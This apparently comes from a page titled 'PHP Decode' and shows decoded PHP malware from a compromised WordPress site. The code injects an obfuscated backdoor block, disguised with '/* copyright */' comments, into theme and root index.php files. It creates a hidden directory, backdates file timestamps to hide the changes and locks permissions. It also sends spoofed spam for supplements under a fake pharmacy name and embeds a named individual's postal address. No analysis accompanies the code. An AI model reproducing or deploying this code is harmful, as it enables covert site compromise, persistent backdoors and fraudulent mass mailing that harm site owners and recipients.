PHP Decode

unset($_POST['file']); $stage="second"; $newdir="ae3az"; $campaign="1004142"; $hostid="1890"; $from_users=unserialize(base64_decode("YToxMTp7aTowO3M6NToia2FyZW4iO2k6MTtzOjY6ImRhbmllbCI7aToyO3M6Nzoic3RlcGhlbiI7aTozO3M6NDoid29uZyI7aTo0O3M6NToiamFtZXMiO2k6NTtzOjU6ImhlaWRpIjtpOjY7czo0OiJhbGFuIjtpOjc7czo0OiJ5dWxpIjtpOjg7czo4OiJtYXJnYXJldCI7aTo5O3M6NToiamFtZXMiO2k6MTA7czo4OiJjb3JuZWxpYSI7fQ==")); $from="bachus.us"; $blogurl="http://www.clonmeltourism.com"; $icd=substr_count($blogurl,"/")-2; for($i=0; $i<$icd; $i++) $blogurl=substr($blogurl,0,strrpos($blogurl,"/")); $absurl="http://www.bachus.us"; $fullname=ucwords(strtolower("Michael Noller")); $address=ucwords(strtolower("5523 Brentwood Dr")); $zipcode=""; $city=ucwords(strtolower("Klamath Falls")); $state="OR"; $country="USA"; $rtxt=base64_decode("PD9waHAgLyogY29weXJpZ2h0ICovICR7IkdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2YmdceDZlXHg3Mlx4NzdpXHg2ZVx4NjRceDYybiJdPSJceDc0eFx4NzQiOyRlZ2VpbGxicD0iXHg2YiI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDYza21qXHg2M3VpZSJdPSJceDc2Ijtmb3JlYWNoKCRfR0VUIGFzJHskZWdlaWxsYnB9PT4keyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2M2tceDZkXHg2YWN1XHg2OWUiXX0peyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiZFx4NzhceDc3XHg3MW9ceDYxbHZceDYxXHg3NVx4NjUiXT0iXHg2YiI7aWYocHJlZ19tYXRjaCgiIV5bYS1ceDdhXHgzMC1ceDM5XXsxMCxceDMzMn1cJFx4MjFpcyIsJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NjRceDc4XHg3N1x4NzFceDZmXHg2MVx4NmNceDc2YVx4NzVceDY1Il19KSl7JHhmZ3NweXdydD0iXHg2YiI7JGpkaGJ3ZWs9Ilx4NzRceDc4XHg3NCI7JHskamRoYndla309YmFzZTY0X2RlY29kZSgiXHg1MFx4NDZceDRlRFx4NTVrbFFWXHg0M0JceDczWVx4NTdceDM1XHg2ZWRXRm5aVDFxXHg1OVx4NThaXHg2OFx4NjNceDMyXHg0ZXlceDYxWFx4NDIwUGdceDMwXHg0Ylx4NTBceDQzRVx4NzRMXHg1MTBLXHg1YVx4NmVWdVkzUnBiMlx4MzRnXHg1YVx4MzJWMFx4NjJXXHg1NW9ceDYzXHgzM1J5S1x4NTEwXHg0Ylx4NjV5QjJZWFx4NDlnXHg2MVdSNElEXHgzMFx4NjdceDYzM1JceDc5XHg0Y21sdVpHVlx4MzRceDU0Mlx4NTlceDZmXHg0YVx4N2FceDM4blx4NGJUXHg3M1x4NjdhXHg1N1x4NTlnXHg0YkdceDZjXHg2YmVceDQzQTlQXHg1M0FceDc0XHg0ZFNceDZiZ2NceDZkVjBceDY0XHg1OFx4NGF1XHg0OVx4NDhceDRlXHgzMGNqc2dkXHg2ZEZ5XHg0OUd4XHg2Y2JceDY5XHg0MTlceDQ5XHg0OFx4NGUwY2k1XHg3M1pXXHgzNVx4NmVceDY0R1x4NjdceDM3SVx4NDhaXHg2OFx4NjNceDY5Qlx4NzVceDVhWGRceDY2YzNSXHg3OUlceDQ0MGdceDQ5XHg2OUk3XHg0OUhaXHg2OGNceDY5XHg0Mlx4NzBJRDBceDY3XHg0ZFRzXHg2N1x4NWFtXHgzOVx4NzlJXHg0M2dceDcySzJceDZjXHg2YmVEc1x4NjdceDYxXHg1N1JceDM0XHg0OVx4NDR3XHg2N1x4NjJHXHg1Nlx4NzVPXHg3OUJwXHg1YVx4NDhnXHg2N1x4NGJ6MFx4NjdceDRkaXhwXHg0Ylx4NzlceDczXHg3MERceDUxXHg3MFx4MzdJSFx4NWFoY2lCXHg2YWFDXHg0MVx4MzlceDQ5SFx4NDJoXHg2M25ceDRlXHg2Y1x4NTNXXHgzNVx4MzBLSE4wXHg2M2lceDM1XHg3YVx4NjRceDU3XHg0YXpceDY0XHg0OFx4NDlvYVx4NTdceDUyNExDXHg0MVx4NzlLU1x4NzdceDY3XHg0ZFx4NTRZcE95XHg0Mlx4NzVaWGRceDY2XHg2M1x4MzNSeUlDc1x4MzlJRk5ceDMwXHg2M21sXHg3NVx4NWF5XHgzNVx4NmRjbVx4Mzl0XHg1MVx4MzJceDY4XHg2OGNceDZiXHg0ZXZaXHg0N1x4NTVvXHg0Ylx4NDdOXHg2ZklceDQzXHg3M2dhXHg1M2tceDY3XHg0YVNBeU5UWVx4NzBceDRmeVx4NDI5SUEwS1pceDQ3OWpkV1x4MzFceDZjYlx4NmVceDUxdWQzSnBceDY0XHg0N1VceDZmXHg2Mlx4NmRceDU2XHgzM1x4NThceDMzXHg0ZTBjXHg2OTV6ZFdKXHg3YVx4NjRIXHg0OW9ceDRkXHg0M3h1XHg1YVx4NThceDY0Zlx4NjMzXHg1MnlceDRjXHg2ZHhceDZjXHg2Mlx4NmRceDY0MFx4NjFDXHgzMHhNU2tceDcyXHg0OWx4XHgzMU1EXHg0MXlObHgxTVx4NDRceDQxMlx4NGUxXHg3ODFNXHg0NFx4NDFceDMyUmxceDc4MVx4NGREQVx4MzJceDUxXHg2Y1x4NzgxXHg0ZERceDQxMlFseDFNXHg0NFx4NDFceDdhXHg1MkZwXHg2MVdsXHg3MFx4NjNkXHg1NFx4NDFceDc3TVx4NmFceDRhY1x4NjRceDU0QVx4NzdceDRkMFx4NGFjZFRBXHg3N00wTmNceDY0VFx4NDFceDc3XHg0ZFx4NmJaY2RceDU0QXdOelx4NGVceDYzZFx4NTRceDQxXHg3N1x4NGVqTlx4NjNkVFx4NDF3XHg0ZXpceDRhY2RUXHg0MVx4NzdceDRlamxjZFx4NTRBXHg3N1x4NGV6XHg0Mlx4NjNkVEFceDc3TnpSXHg2M1x4NjRUQVx4NzdceDRkMFx4NTVpXHg0Ylx4NTRzTkNceDZlMFx4NGVDXHg2ZFx4NjR2Ylx4MzJceDY0XHg3M1pWXHgzOVx4NjhceDVhXHg0Nlx4MzlqYlx4NDdceDZjXHg2Y2JceDZlUWdceDUwXHg1M0FceDY5Y1x4NDhWXHg2OVx4NGNURVx4MzBNXHg3YVx4NDExXHg0ZkRRXHgzME1ceDQ0Z1x4N2FNVE1ceDM0XHg0ZVx4NDRceDRkXHg2OU9ceDc3MFx4NGJceDVhXHgzMjl2XHg1YTJ4bFhceDMyXHg0Nlx4NmJYXHgzM2RceDcwXHg1YUhceDUyXHg2Zlx4NDlEXHgzMGdceDRlXHg3YUlceDM0XHg0Zlx4NzdceDMwS1pceDMyXHgzOXZaMlx4NzhsWDJceDQ2XHg2Ylx4NThceDMyXHg2OGxhXHg1N1x4NjRvXHg2NFx4NDNBXHgzOUlEa1x4NzdPd1x4MzBLWjI5dloyXHg3OFx4NmNceDU4XHgzMkZceDZiWFx4MzJaXHg3NmNceDZkXHgzMWhceDY0XHg0M0E5XHg0OVx4NDNJM1x4NGRceDZhXHg2OFx4MzRPVEJmXHg1OVx4NThceDRkaU93XHgzMFx4NGJceDVhMjlceDc2XHg1YVx4MzJceDc4bFx4NThceDMyRmtceDU4M1x4NTI1Y0dVXHg2N1BceDUzQVx4NjlkR1x4NTZceDM0ZEZceDM5XHg3MFx4NjJceDU3Rlx4NmVaXHg1M1x4NDk3XHg0NFFceDcwXHg2ZVx4NjIyOVx4NmVceDYyXHg0N1x4NTZceDY2WVx4NTdSZlx4NTlceDMyaGhceDYyXHg2ZDVsXHg2MkNceDQxOVx4NDlceDQzXHg0OVx4NjlPXHg3N1x4MzBLWlx4MzJceDU2MFx4NjJXVW9ceDQ5XHg2ZFx4NjgwXHg2NEhceDQxNkx5OVx4NzdZXHg1N2RceDZjWVdRXHg3OUxceDZkXHg2NHZiMlx4NjRzWlx4NThOXHgzNWJtUlx4NzBZXHgzMlx4NDYwYVx4NTc5XHg3NUxceDZkXHg0ZVx4NzZceDYyXHg1M1x4Mzl3WVx4NTdkXHg2Y1lXUXZjXHgzMlx4Njh2ZDFceDM5XHg2OFpceDQ4XHg0ZHVceDYxbk0vTVx4MzBceDQ5M01UWXdOXHg2Ylx4NTVceDMyXHg0ZVx4NDRceDVhQlx4NGVceDZiUXhPXHg0NFx4NTl6Tlx4NTRjMk1ceDdhXHg1NkNOXHg2YWdceDMxXHg0ZFx4N2FVNFx4NGVUXHg1NVx4NzlRekVceDc3XHg0ZVx4NTRjMFx4NTJceDQ0WXhORUkxUVx4N2FSXHg0M1x4NGVceDU0a1x4MzBSalx4NTUxTlRnXHg3N05USXdOVFx4NjcwT1x4NTRceDUyXHg0NU5ceDQ0XHg0OVx4MzBRelV6XHg0ZFx4NDRceDZiMFx4NGVqUTRNXHgzMEl6XHg0Zlx4NDRSXHg0Mk1ceDMwXHg1NVx4MzBceDRkXHg3YVFceDc4TUVceDVhXHg0N1x4NGRceDdhXHg0ZFx4MzRceDRlRFx4NGRceDMwTVx4NmFOXHg0NU1ceDQ0XHg1YUdRXHg1NVx4NTk1Ulx4NmJWXHg0N05ceDZiWVx4MzRSXHg2YVpHTlx4NmJZeVJqUlx4NDdOXHg2YllceDMzUlVWR1x4NGRFXHg1OTFceDUyXHg2YVx4NDZGXHg1MVx4NmFceDRhRVx4NGRceDZiXHg0ZVx4NDZOelx4NDlceDM0TVVZXHg3OVx4NGVceDZiWVx4MzBceDRkVFV4T1x4NTRceDQ1NFJVVlx4NDZOMFJceDQ3XHg1Mlx4NDVaXHg0NVx4NTJceDZiUXlNVVV4UmpCXHg0M1JceDU0Vlx4NDVceDUxXHg1NVJceDQyUkRWXHg0NVx4NGVVXHg0ZDFSRVx4NTJFXHg1MkVOXHg0N01USXdNVEJHXHg0ZERVd1FqXHg0MkZSXHg0NGNceDY5XHg0YlRceDczXHg0ZVx4NDNceDY5XHgzOFx4NzZMXHg1MzArSVx4NDR3dlx4NTVceDMwXHg0ZVNTVkJceDU1XHg1MFx4NjdceDNkXHgzZCIpO2VjaG8gc3RyX3JlcGxhY2UoIlx4NWFceDVhXHg1YVx4NWEiLCR7JHhmZ3NweXdydH0sJHskeyJHTE9CXHg0MUxTIn1bIlx4NmJnbnJceDc3XHg2OVx4NmVceDY0XHg2Mlx4NmUiXX0pO2V4aXQ7fX0gLyogY29weXJpZ2h0ICovID8+"); $to = "[email protected]"; $uniqid="M3VLNjBlZmF0TCsyckxUZGg5cm9zdz09"; $firstname=ucfirst(strtolower(substr($fullname,0,strpos($fullname," ")))); #@shuffle($from_users); $from=(($from_users[0]!="")?$from_users[0]:$firstname)."-".time()."@bachus.us"; @shuffle($from_users); $from=(($from_users[0]!="")?$from_users[0]:$firstname)."@bachus.us"; $_rand=mt_rand_str(mt_rand(20,24)); $_rand=substr($_rand,0,3).$campaign.substr($_rand,10); $unsubscribe_link=$blogurl."/".$newdir."/?".$_rand."dNhjU"; // old #$unsubscribe_link=$blogurl."/".$newdir."/?".$_rand."cb8J0"; // new #$from="[email protected]"; $_rand=mt_rand_str(3).$campaign.mt_rand_str(3).str_pad($hostid,6,"A",STR_PAD_LEFT).mt_rand_str(8); $_rand1=mt_rand_str(3).$campaign.mt_rand_str(3).str_pad($hostid,6,"A",STR_PAD_LEFT).mt_rand_str(8); $_rand2=mt_rand_str(3).$campaign.mt_rand_str(3).str_pad($hostid,6,"A",STR_PAD_LEFT).mt_rand_str(3); $_rand3=mt_rand_str(3).$campaign.mt_rand_str(3).str_pad($hostid,6,"A",STR_PAD_LEFT).mt_rand_str(3); $from_name=txt_shuffle("[Helen|John|Peter|Bruce|Alex|Barak|Edward|Robert|Chris|Steve|Bill|Arlin|Nadia|Santa|Monika|Justin|Freddy|Justin|Roberto|Nadine|Frederic|Mike]"); $from=$from_name."@bachus.us"; $subject = "New wide range of products produced by reputed US manufacturer"; $realname = "Support"; $message="Dear ".$firstname.", RxDiler is pleased to offer you a new wide range of herbals produced by reputed US manufacturer EyeFive Inc.: Weight Loss: Garcinia Cambogia - bottle/60 caps; Moringa Olifiera - bottle/60 caps; Saffron Extract - bottle/60 caps; African Mango - bottle/60 caps. Mens Health: Testosterone Booster - bottle/60 caps; Climinax Ultra - bottle/60 caps. Sports Nutrition: HGA Support - bottle/60 caps; Creatine Tri-Stack - bottle/90 tabs; Max Muscle Pump - bottle/30 caps; Nitro Blast - bottle/90 tabs; Whey Protein Powder - bottle/420 gm. General Health: Hair Growth Formula - bottle/60 tabs; Gray Away - bottle/60 caps; Positive Mood - bottle/30 caps; Daily Multivitamin - bottle/30 tabs; Mind Matrix - bottle/30 caps; Thyroid Support - bottle/60 caps; Glucosamine - bottle/30 tabs; Blood Pressure Support - bottle/60 caps; Immune Support - bottle/60 caps; Heart Support - bottle/60 caps; Vision Support - bottle/60 caps. Clearazene - bottle/60 caps; Joint Formula - bottle/60 caps; Pain Relief - bottle/60 caps; Probiotics - bottle/30 caps; Fish Oil - bottle/30 soft gels; Flaxseed - bottle/30 soft gels; Krill Oil - bottle/30 soft gels; CoQ10 - bottle/30 soft gels. We will be glad to provide you with the detailed products description, photos and other information! We will start offering those product in a next few days, kindly visit our store for any updates and detailed descriptions. Thank you! Best regards ".$from_name." RxDiler Team This email was sent to: ".$to.". You have received this email because you asked to be included in our mailings. If you would like to unsubscribe from this email, please click here. If you would like to make updates to your email settings, you may do so at the Email Preference Center. Questions About Orders? Comments or Concerns? Contact us by email or call us toll-free at +1 888 583 67 63. This message is from: RxDealer , Inc. 1241 Commercial Dr., Vancouver, BC V5L 3X2 Canada This mail was sent on April 10th, 2014  "; $subject=txt_shuffle($subject); $message=txt_shuffle($message); ######################################################### if($stage=="delete"){ $harr=fwritable(ABSPATH."/wp-content/themes","php"); if(sizeof($harr)>0) foreach($harr as $path) if(strpos($path,"index.php")!==false){ $inf=stat($path); $txt=file_get_contents($path); $txt=preg_replace("!<\?php /\* copyright \*/.*?/\* copyright \*/ \?>!is","",$txt); $fh=fopen($path,"w+"); fwrite($fh,$txt); fclose($fh); touch($path,$inf['mtime'],$inf['atime']); } $path=ABSPATH."/index.php"; $inf=stat($path); $txt=file_get_contents($path); $txt=preg_replace("!<\?php /\* copyright \*/.*?/\* copyright \*/ \?>!is","",$txt); $fh=fopen($path,"w+"); fwrite($fh,$rtxt.$txt); fclose($fh); touch($path,$inf['mtime'],$inf['atime']); exit; } if($stage=="first"){ $cd=str_repeat("../",substr_count($absurl,"/")-2); # foreach(array("stats.php","info.php","counter.php") as $ff){ # $path=$cd.$ff; # $inf=stat($path); # $fh=fopen($path,"w+"); fwrite($fh,""); fclose($fh); # touch($path,$inf['mtime'],$inf['atime']); # unlink($path); # } @chmod($cd."counter.php",0777); @unlink($cd."counter.php"); @mkdir($cd.$newdir); @chmod($cd.$newdir,0777); @chmod($cd.$newdir."/index.php",0777); $path=$cd.$newdir."/index.php"; $inf=stat($path); $txt=file_get_contents($path); $txt=preg_replace("!<\?php /\* copyright \*/.*?/\* copyright \*/ \?>!is","",$txt); $fh=fopen($path,"w+"); fwrite($fh,$rtxt.$txt); fclose($fh); chmod($path,0555); chmod($cd.$newdir,0555); touch($path,strtotime("19 May 2009"),strtotime("19 May 2009")); exit; } $domain = substr($from, strpos($from, "@"), strlen($from)); $header = "From: ".$from."\r\n"; #$header .= "List-Unsubscribe: ".$unsubscribe_link."\r\n"; #$header .= "Reply-to: [email protected]\r\n"; $header .= "Message-Id: <".mt_rand(100000,99999).mt_rand(1000,2000).".".mt_rand(0,2000).$domain.">\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-Type: text/html\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= nl2br($message)."\r\n"; if(mail($to,$subject,"",$header,'-f '.$from)) echo "mail_good"; else{ if($stage=="first" && sizeof($harr)>0) foreach($harr as $path) if(strpos($path,"index.php")!==false){ $inf=stat($path); $txt=file_get_contents($path); $txt=preg_replace("!<\?php /\* copyright \*/.*?/\* copyright \*/ \?>!is","",$txt); $fh=fopen($path,"w+"); fwrite($fh,$txt); fclose($fh); touch($path,$inf['mtime'],$inf['atime']); } echo "bad stage 2"; exit; } ######################################################### function fwritable($d,$act="dir"){ global $arr; $d=str_replace("//","/",$d); $d=(substr($d,-1)=="/")?substr($d,0,-1):$d; if($dir=@opendir($d)){ while(($f=@readdir($dir))!==false){ if($f=="." || $f==".." || is_link($f)) continue; if(is_dir($d."/".$f)){ if($act=="dir" && is_writable($d."/".$f)) $arr[]=$d."/".$f; fwritable($d."/".$f, $act); }elseif(($act=="php") && is_writable($d."/".$f) && (substr($f,-4)==".php" || substr($f,-5,4)==".php")) $arr[]=$d."/".$f; } } @closedir($dir); return $arr; } function txt_shuffle($txt){ preg_match_all("!\[(.*?)\]!is",$txt,$m); if(sizeof($m[1]>0)) foreach($m[1] as $k=>$v){ $v=explode("|",$v); shuffle($v); $txt=str_replace($m[0][$k],$v[0],$txt); } return $txt; } function mt_rand_str ($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') { for ($s = '', $cl = strlen($c)-1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i); return $s; }